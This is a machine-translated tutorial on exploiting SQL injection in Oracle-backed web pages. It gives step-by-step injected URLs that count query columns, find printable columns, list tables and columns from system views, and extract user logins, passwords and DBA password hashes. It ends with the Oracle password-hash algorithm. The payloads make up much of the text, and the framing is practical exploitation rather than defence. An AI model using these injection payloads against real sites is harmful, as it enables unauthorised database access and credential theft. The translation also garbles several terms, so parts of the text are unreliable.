This page has been robot translated, sorry for typos if any. Original content here.

Conducting SQL injection in Oracle



  • [Introduction]
  • [Oracle Features]
  • [Column Selection]
  • [Definition of printable columns]
  • [Receiving the information]
  • [Tables and Columns]
  • [Passwords]
  • [Receiving the information]



  • [Introduction]


    Recently, while researching various web projects on vulnerabilities, I came across SQL injection in Oracle. Although at present it is rarely seen the use of this DBMS in Web programming, but still this happens. All research ended with a simple detection of bugs, what to do next was unclear. While searching for an article that well describes the practical aspects of exploiting this vulnerability in Oracle, such as cash and spyder articles describing injections in MSSQL and PostgreSQL, we could not find it.
    As a result of the search, only a series of articles k00p3r were found, moreover, they were completely copy-pasted from third-party sources and are a simple translation, the reading of which did not give a clear idea of ​​cheekbones in Oracle, because articles are essentially large, theoretical, and for the most part contain water.
    In the end, I had to recall the institutional skills of working with Oracle and re-read a bunch of disparate information on the Internet. In this article I would like to share with you what I managed to dig up on the implementation of sql injection in Oracle and try to combine this into one.
    Well, try to fill the gap, and supplement the series of articles cash and spyder.

    [Oracle Features]


    First, I will give some properties that must be considered when injecting into Oracle. I want to make a reservation right away that the article discusses injections in the SELECT statement. Although injecting with the INSERT, UPDATE, and DELETE statements is also possible.
    Equally important is the fact that the article addresses the issues of injection in Oracle SQL queries, and not in Oracle PL / SQL procedures. A significant difference between injections in PL / SQL procedures is the ability to use a query separator - the semicolon ";". But about this IMHO you need to write a separate article with a description of all the ensuing consequences. Moreover, the author believes that in Web applications the most common injection is in SQL queries (at least I came across only such).
    In Oracle, as well as in MySQL and PostgreSQL, injection is performed using the UNION operator, i.e. with the compilation of the union of two queries (hereinafter, for ease of understanding, the term is used - a subquery). But besides the coincidence of the number of columns in the main query and the subquery, it must be taken into account that Oracle does not automatically cast types in the subquery. Therefore, when selecting columns, you must substitute null, in contrast, for example, from MySQL.
    Also a very important property is that all SELECT queries must be made from some table, i.e. query syntax should always contain the word FROM and the name of the table. For simple arithmetic calculations or other operations that do not require a real table, there is a pseudo table SYS.DUAL in Oracle.
    An important property is the lack of a LIMIT operator.
    To truncate a query, the comment characters “-” (two dashes) and “/ *” (forward slash and asterisk) are used in SQL Oracle. The first type of comment is single-line. The second type is multi-line.
    It is not possible to use multiple queries in SQL Oracle using the separator “;”, unlike PL / SQL procedures.
    If an error is detected, you can uniquely identify Oracle by the presence of the word ORA in the text of the error message, for example:

    Macromedia][Oracle JDBC Driver][Oracle]ORA-00933: SQL command not properly ended

    The word Oracle is not always present in the error text, for example

    Warning: OCIStmtExecute: ORA-01722: invalid number in

    [Column Selection]


    Let the error be present in the id parameter:

    www.site.com/view.php?id=1'
    The number of columns present in the main query is determined in the same way as in MySQL. Since the UNION operator requires the same number of columns, both in the main query and in the subquery, we need to determine the number of these columns. If the columns are incorrectly specified in the subquery, the standard error message is displayed:

    ORA-XXXXX: query block has incorrect number of result columns
    There are 2 known methods for selecting columns that are well described in the spyder article. But I will bring them again so that the reader does not run around the articles:

    1. Simple busting.
    We will make the following request

    www.site.com/view.php?id=-1+union+select+null+from+sys.dual--

    If an error occurs, increase the number of columns by one
    www.site.com/view.php?id=-1+union+select+null, null+from+sys.dual--

    and so on until the error disappears.

    2. Using the ORDER BY operator
    The second way is much faster and nicer if the number of columns is large enough. We will make the following request

    www.site.com/view.php?id=-1+order+by+1--
    if there is no error, then columns 1 or more 1

    www.site.com/view.php?id=-1+order+by+99999--
    With such a query, an error should appear, which means there are less than 99999 columns. Next, in the same way, we narrow the boundaries of the selected interval to the left and right and ultimately determine the actual number of columns in the main query.

    [Definition of printable columns]


    Suppose we determined the exact number of columns in the main query, suppose 4 of them.

    www.site.com/view.php?id=-1+union+select+null, null, null, null+from+sys.dual--
    Now we need to define the columns that are displayed on the page. Usually, columns with int, char, and data data types are involved in the output. We will have enough stable columns with types int and char, and we will look for them.
    As noted earlier, Oracle does not automatically cast types in a subquery. Therefore, when we try to substitute values ​​of an inappropriate type into a column, we get the following type mismatch error

    ORA-XXXXX: expression must have same datatype as corresponding expression
    Next, we begin to make queries, replacing each column with any number in turn

    www.site.com/view.php?id=-1+union+select+123, null, null, null+from+sys.dual--
    ....
    www.site.com/view.php?id=-1+union+select+null, 123, null, null+from+sys.dual--
    Thus, we will find printable columns of type int. In the event that we get a type mismatch error, we can use the to_char (), to_date () type conversion functions and identify printable columns with char and data types.

    www.site.com/view.php?id=-1+union+select+null, to_char(123), null, null+from+sys.dual--
    For reference, I will give the syntax of the to_char () function:
    to_char (value, [format_mask], [nls_language])

    [Receiving the information]


    After we know the number of columns and which of them are attractive, we can safely proceed to obtain the necessary information from the database. Well, if we know certain tables in the database and columns in them, then obtaining information will not be difficult. For example, if there is a table USERS with columns ID, LOGIN, and PASSWORD, then the request for obtaining this data will look as follows

    www.site.com/view.php?id=-1+union+select+null, login, password, null+from+users+where+id=123--
    As in MySQL, for the convenience of displaying and overcoming various problems with encodings, you can use the functions concat (), to_char ().
    To overcome the filtering of quotes or other necessary characters, there is a chr () function.

    [Tables and Columns]


    If user tables are unknown to us, then we can get various information from known Oracle system tables.
    You can find out the user name under which the interface works, which means you can by calling the user or sys.login_user functions

    www.site.com/view.php?id=-1+union+select+null, user, null, null+from+sys.dual--
    You can get a list of sessions like this: select * from V $ session

    Of great interest are the tables SYS.USER_TABLES and SYS.USER_TAB_COLUMNS, which contain all the tables and their columns available to the user. We pull out the names of tables and columns:

    www.site.com/view.php?id=-1+union+select+null, table_name, null, null+from+sys.user_tables--
    www.site.com/view.php?id=-1+union+select+null, column_name, null, null+from+sys.user_tab_columns--
    Also, in my opinion, in the SYS.USER_TABLES table, in addition to table_name, the following columns are of interest: tablespace_name, num_rows, freelist_groups.
    But, unfortunately, the queries compiled above will show us only one at a time - the first record from the entire table. There is an irresistible desire to use the LIMIT operator, as in MySQL or in PostgreSQL. Much to everyone’s disappointment, this operator is not supported in Oracle, and moreover does not have a decent equivalent in the form of another operator.
    “EVERYTHING IS DOWN !!!” you say.
    “NO !!!” - I will answer you.
    Having tormented google pretty much, I nevertheless found the opportunity to compose a complex query, at least somehow remotely implementing the semantic load of the LIMIT operator. Unfortunately, it was not possible to restore its capabilities in full.

    www.site.com/view.php?id=-1+union+select+null, table_name, null, null+from+sys.user_tables+where+rownum+<=+5--
    Thus, sorting through a different number of records in a selection, we can look at all table names in turn. We can use the same construction when viewing the SYS.USER_TAB_COLUMNS table, while getting all the column names available to the user.
    Also in Oracle there is the concept of an object prefix (a table is an object), which is present in the table name or name:
    ALL_ - all available to the user (may not be the owner),
    USER_ - objects whose owner this user is.
    Therefore, we can simplify our task and pull out the names of only those tables to which we have access

    www.site.com/view.php?id=-1+union+select+null, table_name, null, null+from+sys.all_tables
    Information from the following standard tables may also be of interest: SYS.USER_OBJECTS, SYS.USER_VIEWS, SYS.USER_VIEWS, SYS.USER_CATALOG, SYS.USER_TRIGGERS, SYS.TAB.

    [Passwords]


    If we are lucky and the user under whom we work with the database has sysdba rights, then we can get the hashes of all users of the database.
    The main storage location for the password convolution (hash) is the SYS.USER $ dictionary dictionary table. A derivative, SYS.DBA_USERS, is constructed above this table as a base. If PASSWORD_REUSE_TIME is enabled in the user profile, password convolutions are also stored in SYS.USER_HISTORY $. You can get hashes and usernames like this

    www.site.com/view.php?id=-1+union+select+null, username, password, null+from+sys.dba_users
    For completeness of information, I will also present an algorithm for calculating the convolution of a password, just in case, it can come in handy for someone:
    1. The password text is glued to the username on the right.
    2. In the resulting string, the letters are increased case.
    3. String characters are converted to double-byte format with the addition of a zero value of 0x00 on the left (for ASCII characters), and the string on the right is appended with zero bytes to a total length of 80.
    4. The resulting string is encrypted by the DES algorithm in the mode of coupling blocks of ciphertext (CBC) with the key 0x0123456789ABCDEF.
    5. Parity bits are removed from the last block of the result, and the received string (56 bits) is used for new encryption of the original string in the same way.
    6. The last block of the result is translated into hexadecimal arithmetic signs and declared the final result - convolution.